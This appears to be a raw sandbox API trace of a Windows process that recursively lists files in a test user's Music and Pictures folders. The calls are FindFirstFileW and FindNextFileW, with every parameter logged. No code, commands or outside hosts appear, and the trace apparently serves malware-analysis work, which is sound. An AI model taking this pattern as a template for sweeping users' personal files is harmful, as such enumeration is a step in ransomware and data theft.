[0124.764] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.764] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0124.764] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0124.764] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0124.764] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0124.764] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0124.764] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.765] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.765] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\") returned="tvalSG6kWCd\\" [0124.765] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0124.765] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.765] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.765] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.765] PathFindFileNameW (pszPath="") returned="" [0124.765] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tvalSG6kWCd\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe67abc50, ftCreationTime.dwHighDateTime=0x1d4d063, ftLastAccessTime.dwLowDateTime=0x4c26d800, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x4c26d800, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.766] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe67abc50, ftCreationTime.dwHighDateTime=0x1d4d063, ftLastAccessTime.dwLowDateTime=0x4c26d800, ftLastAccessTime.dwHighDateTime=0x1d4d12b, ftLastWriteTime.dwLowDateTime=0x4c26d800, ftLastWriteTime.dwHighDateTime=0x1d4d12b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.766] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7a56490, ftCreationTime.dwHighDateTime=0x1d4c95b, ftLastAccessTime.dwLowDateTime=0xddfb6410, ftLastAccessTime.dwHighDateTime=0x1d4d402, ftLastWriteTime.dwLowDateTime=0xddfb6410, ftLastWriteTime.dwHighDateTime=0x1d4d402, nFileSizeHigh=0x0, nFileSizeLow=0x17f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LJP4K.m4a", cAlternateFileName="")) returned 1 [0124.766] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e8d3470, ftCreationTime.dwHighDateTime=0x1d4d2fe, ftLastAccessTime.dwLowDateTime=0x2d8f1580, ftLastAccessTime.dwHighDateTime=0x1d4d1d8, ftLastWriteTime.dwLowDateTime=0x2d8f1580, ftLastWriteTime.dwHighDateTime=0x1d4d1d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oJv-O", cAlternateFileName="")) returned 1 [0124.766] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e8d3470, ftCreationTime.dwHighDateTime=0x1d4d2fe, ftLastAccessTime.dwLowDateTime=0x2d8f1580, ftLastAccessTime.dwHighDateTime=0x1d4d1d8, ftLastWriteTime.dwLowDateTime=0x2d8f1580, ftLastWriteTime.dwHighDateTime=0x1d4d1d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oJv-O", cAlternateFileName="")) returned 0 [0124.766] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.766] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.766] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\") returned="zTvNij62y31ygD\\" [0124.766] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0124.766] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.766] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.766] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.766] PathFindFileNameW (pszPath="") returned="" [0124.766] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.769] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9798bf30, ftCreationTime.dwHighDateTime=0x1d4cd1e, ftLastAccessTime.dwLowDateTime=0x5a4a3b80, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0x5a4a3b80, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.769] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec26bff0, ftCreationTime.dwHighDateTime=0x1d4cf9b, ftLastAccessTime.dwLowDateTime=0x40e0d580, ftLastAccessTime.dwHighDateTime=0x1d4d555, ftLastWriteTime.dwLowDateTime=0x40e0d580, ftLastWriteTime.dwHighDateTime=0x1d4d555, nFileSizeHigh=0x0, nFileSizeLow=0x20a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-Bnbr4EKB.m4a", cAlternateFileName="-BNBR4~1.M4A")) returned 1 [0124.769] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0d94880, ftCreationTime.dwHighDateTime=0x1d4d22d, ftLastAccessTime.dwLowDateTime=0xdce3ecd0, ftLastAccessTime.dwHighDateTime=0x1d4d021, ftLastWriteTime.dwLowDateTime=0xdce3ecd0, ftLastWriteTime.dwHighDateTime=0x1d4d021, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3JFk", cAlternateFileName="")) returned 1 [0124.769] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61533170, ftCreationTime.dwHighDateTime=0x1d4cc02, ftLastAccessTime.dwLowDateTime=0xedc6b50, ftLastAccessTime.dwHighDateTime=0x1d4cccf, ftLastWriteTime.dwLowDateTime=0xedc6b50, ftLastWriteTime.dwHighDateTime=0x1d4cccf, nFileSizeHigh=0x0, nFileSizeLow=0x1051a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD0VSBvifKy.wav", cAlternateFileName="DD0VSB~1.WAV")) returned 1 [0124.769] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffbba590, ftCreationTime.dwHighDateTime=0x1d4d3eb, ftLastAccessTime.dwLowDateTime=0xa4144900, ftLastAccessTime.dwHighDateTime=0x1d4cfda, ftLastWriteTime.dwLowDateTime=0xa4144900, ftLastWriteTime.dwHighDateTime=0x1d4cfda, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FxgxMEyG6Z", cAlternateFileName="FXGXME~1")) returned 1 [0124.770] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeada1f0, ftCreationTime.dwHighDateTime=0x1d4cbb6, ftLastAccessTime.dwLowDateTime=0x7eb775a0, ftLastAccessTime.dwHighDateTime=0x1d4cdc9, ftLastWriteTime.dwLowDateTime=0x7eb775a0, ftLastWriteTime.dwHighDateTime=0x1d4cdc9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gq6jQz3", cAlternateFileName="")) returned 1 [0124.770] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x519062e0, ftCreationTime.dwHighDateTime=0x1d4c9a9, ftLastAccessTime.dwLowDateTime=0xbfb4c100, ftLastAccessTime.dwHighDateTime=0x1d4d56e, ftLastWriteTime.dwLowDateTime=0xbfb4c100, ftLastWriteTime.dwHighDateTime=0x1d4d56e, nFileSizeHigh=0x0, nFileSizeLow=0x1589c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mt-NxS9.m4a", cAlternateFileName="")) returned 1 [0124.770] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8c696f0, ftCreationTime.dwHighDateTime=0x1d4c735, ftLastAccessTime.dwLowDateTime=0xd4b12ae0, ftLastAccessTime.dwHighDateTime=0x1d4d234, ftLastWriteTime.dwLowDateTime=0xd4b12ae0, ftLastWriteTime.dwHighDateTime=0x1d4d234, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YJf_dR", cAlternateFileName="")) returned 1 [0124.770] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb2d2a0, ftCreationTime.dwHighDateTime=0x1d4cbf7, ftLastAccessTime.dwLowDateTime=0xf436f650, ftLastAccessTime.dwHighDateTime=0x1d4d389, ftLastWriteTime.dwLowDateTime=0xf436f650, ftLastWriteTime.dwHighDateTime=0x1d4d389, nFileSizeHigh=0x0, nFileSizeLow=0x8051, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_US29v3kaQayesknOB.wav", cAlternateFileName="_US29V~1.WAV")) returned 1 [0124.770] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb2d2a0, ftCreationTime.dwHighDateTime=0x1d4cbf7, ftLastAccessTime.dwLowDateTime=0xf436f650, ftLastAccessTime.dwHighDateTime=0x1d4d389, ftLastWriteTime.dwLowDateTime=0xf436f650, ftLastWriteTime.dwHighDateTime=0x1d4d389, nFileSizeHigh=0x0, nFileSizeLow=0x8051, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_US29v3kaQayesknOB.wav", cAlternateFileName="_US29V~1.WAV")) returned 0 [0124.770] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.770] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\71f4 4SP91MVI3\\") returned="71f4 4SP91MVI3\\" [0124.771] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0124.771] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.771] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.771] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.771] PathFindFileNameW (pszPath="") returned="" [0124.771] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\71f4 4SP91MVI3\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbc2780, ftCreationTime.dwHighDateTime=0x1d4c79f, ftLastAccessTime.dwLowDateTime=0x3492e020, ftLastAccessTime.dwHighDateTime=0x1d4cecf, ftLastWriteTime.dwLowDateTime=0x3492e020, ftLastWriteTime.dwHighDateTime=0x1d4cecf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.772] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbc2780, ftCreationTime.dwHighDateTime=0x1d4c79f, ftLastAccessTime.dwLowDateTime=0x3492e020, ftLastAccessTime.dwHighDateTime=0x1d4cecf, ftLastWriteTime.dwLowDateTime=0x3492e020, ftLastWriteTime.dwHighDateTime=0x1d4cecf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.772] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b34c20, ftCreationTime.dwHighDateTime=0x1d4d4e6, ftLastAccessTime.dwLowDateTime=0x60b36390, ftLastAccessTime.dwHighDateTime=0x1d4ca84, ftLastWriteTime.dwLowDateTime=0x60b36390, ftLastWriteTime.dwHighDateTime=0x1d4ca84, nFileSizeHigh=0x0, nFileSizeLow=0x17aee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pakuYqh.png", cAlternateFileName="")) returned 1 [0124.772] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b34c20, ftCreationTime.dwHighDateTime=0x1d4d4e6, ftLastAccessTime.dwLowDateTime=0x60b36390, ftLastAccessTime.dwHighDateTime=0x1d4ca84, ftLastWriteTime.dwLowDateTime=0x60b36390, ftLastWriteTime.dwHighDateTime=0x1d4ca84, nFileSizeHigh=0x0, nFileSizeLow=0x17aee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pakuYqh.png", cAlternateFileName="")) returned 0 [0124.772] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.772] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\") returned="nEqZA\\" [0124.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0124.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.772] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.772] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.772] PathFindFileNameW (pszPath="") returned="" [0124.772] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x302f5490, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x53749450, ftLastAccessTime.dwHighDateTime=0x1d4c7c9, ftLastWriteTime.dwLowDateTime=0x53749450, ftLastWriteTime.dwHighDateTime=0x1d4c7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x302f5490, ftCreationTime.dwHighDateTime=0x1d4c7a0, ftLastAccessTime.dwLowDateTime=0x53749450, ftLastAccessTime.dwHighDateTime=0x1d4c7c9, ftLastWriteTime.dwLowDateTime=0x53749450, ftLastWriteTime.dwHighDateTime=0x1d4c7c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37aa4f0, ftCreationTime.dwHighDateTime=0x1d4ccc9, ftLastAccessTime.dwLowDateTime=0xee07e40, ftLastAccessTime.dwHighDateTime=0x1d4ccb4, ftLastWriteTime.dwLowDateTime=0xee07e40, ftLastWriteTime.dwHighDateTime=0x1d4ccb4, nFileSizeHigh=0x0, nFileSizeLow=0x182c7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9I3wBfC.png", cAlternateFileName="")) returned 1 [0124.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e01940, ftCreationTime.dwHighDateTime=0x1d4c7fb, ftLastAccessTime.dwLowDateTime=0xb9b1e820, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xb9b1e820, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x4734, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gXqHnWD.bmp", cAlternateFileName="")) returned 1 [0124.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79d18d40, ftCreationTime.dwHighDateTime=0x1d4cc85, ftLastAccessTime.dwLowDateTime=0x260124d0, ftLastAccessTime.dwHighDateTime=0x1d4c5a2, ftLastWriteTime.dwLowDateTime=0x260124d0, ftLastWriteTime.dwHighDateTime=0x1d4c5a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KpZlD4zquX", cAlternateFileName="KPZLD4~1")) returned 1 [0124.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x781a1a10, ftCreationTime.dwHighDateTime=0x1d4cc55, ftLastAccessTime.dwLowDateTime=0x5be3e4d0, ftLastAccessTime.dwHighDateTime=0x1d4c68c, ftLastWriteTime.dwLowDateTime=0x5be3e4d0, ftLastWriteTime.dwHighDateTime=0x1d4c68c, nFileSizeHigh=0x0, nFileSizeLow=0xd22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pWM7.png", cAlternateFileName="")) returned 1 [0124.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x406e470, ftCreationTime.dwHighDateTime=0x1d4d126, ftLastAccessTime.dwLowDateTime=0x6608c220, ftLastAccessTime.dwHighDateTime=0x1d4cb71, ftLastWriteTime.dwLowDateTime=0x6608c220, ftLastWriteTime.dwHighDateTime=0x1d4cb71, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="R5ZCMh", cAlternateFileName="")) returned 1 [0124.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f378db0, ftCreationTime.dwHighDateTime=0x1d4cc12, ftLastAccessTime.dwLowDateTime=0x827cf0, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x827cf0, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WF0f1QmDHo82b2E", cAlternateFileName="WF0F1Q~1")) returned 1 [0124.774] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f378db0, ftCreationTime.dwHighDateTime=0x1d4cc12, ftLastAccessTime.dwLowDateTime=0x827cf0, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x827cf0, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WF0f1QmDHo82b2E", cAlternateFileName="WF0F1Q~1")) returned 0 [0124.774] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.775] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\") returned="OSKgyoas7znhFe\\" [0124.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0124.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.775] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.775] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.775] PathFindFileNameW (pszPath="") returned="" [0124.775] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OSKgyoas7znhFe\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c21f90, ftCreationTime.dwHighDateTime=0x1d4cbc8, ftLastAccessTime.dwLowDateTime=0xd2f05d40, ftLastAccessTime.dwHighDateTime=0x1d4c90e, ftLastWriteTime.dwLowDateTime=0xd2f05d40, ftLastWriteTime.dwHighDateTime=0x1d4c90e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.779] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c21f90, ftCreationTime.dwHighDateTime=0x1d4cbc8, ftLastAccessTime.dwLowDateTime=0xd2f05d40, ftLastAccessTime.dwHighDateTime=0x1d4c90e, ftLastWriteTime.dwLowDateTime=0xd2f05d40, ftLastWriteTime.dwHighDateTime=0x1d4c90e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.779] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccb01030, ftCreationTime.dwHighDateTime=0x1d4d45b, ftLastAccessTime.dwLowDateTime=0x95152940, ftLastAccessTime.dwHighDateTime=0x1d4d30b, ftLastWriteTime.dwLowDateTime=0x95152940, ftLastWriteTime.dwHighDateTime=0x1d4d30b, nFileSizeHigh=0x0, nFileSizeLow=0xec99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3J2ydx.jpg", cAlternateFileName="")) returned 1 [0124.779] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ebc1c0, 